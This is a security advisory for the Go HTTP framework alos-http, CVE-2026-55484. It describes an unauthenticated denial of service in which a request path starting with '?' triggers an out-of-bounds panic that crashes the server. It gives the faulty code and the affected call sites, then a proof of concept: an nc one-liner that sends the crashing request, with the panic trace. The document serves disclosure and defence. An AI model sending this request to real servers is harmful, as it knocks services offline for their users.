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Unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server

High
guno1928 published GHSA-hr6j-w4mw-g9mj Jun 20, 2026

Package

gomod github.com/guno1928/alos-http (Go)

Affected versions

<= v0.0.0-20260610130247-93fc11f077ee

Patched versions

None

Description

Summary

A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process.
The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled

Details

root cause: core/utils.go::sanitizeRequestPath

// assume path := "?"
if len(path) == 0 { // len(path) == 1
	return "/"
}

p, _ := splitPathQuery(path) // p == ""

if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
	return p
}
  • when the path starts with "?" len(path) is not 0 so the early return does not fire
  • after splitPathQuery p is empty ""
  • p is then indexed p[0] without a length check

Relevant calling sites:

  • h1_plain.go:ParseH1RequestHead (HTTP/1.1)
  • h1.go::ParseH1Request (dead code)
  • hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2)
  • hpack.go::observeHeader (HTTP/2)
  • h3_conn.go::handleRequestStream (HTTP/3)

these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic

PoC

Minimal server, using the quick-start

srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())

Crash it with a single request

printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080

Server output & crash

2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0

goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
        /home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2

all subsequent requests now fail, since the server is down

Impact

Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.
Repeating this process keeps the service offline.
There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-55484

Weaknesses

Uncaught Exception

An exception is thrown from a function, but it is not caught. Learn more on MITRE.

Improper Check for Unusual or Exceptional Conditions

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. Learn more on MITRE.

Credits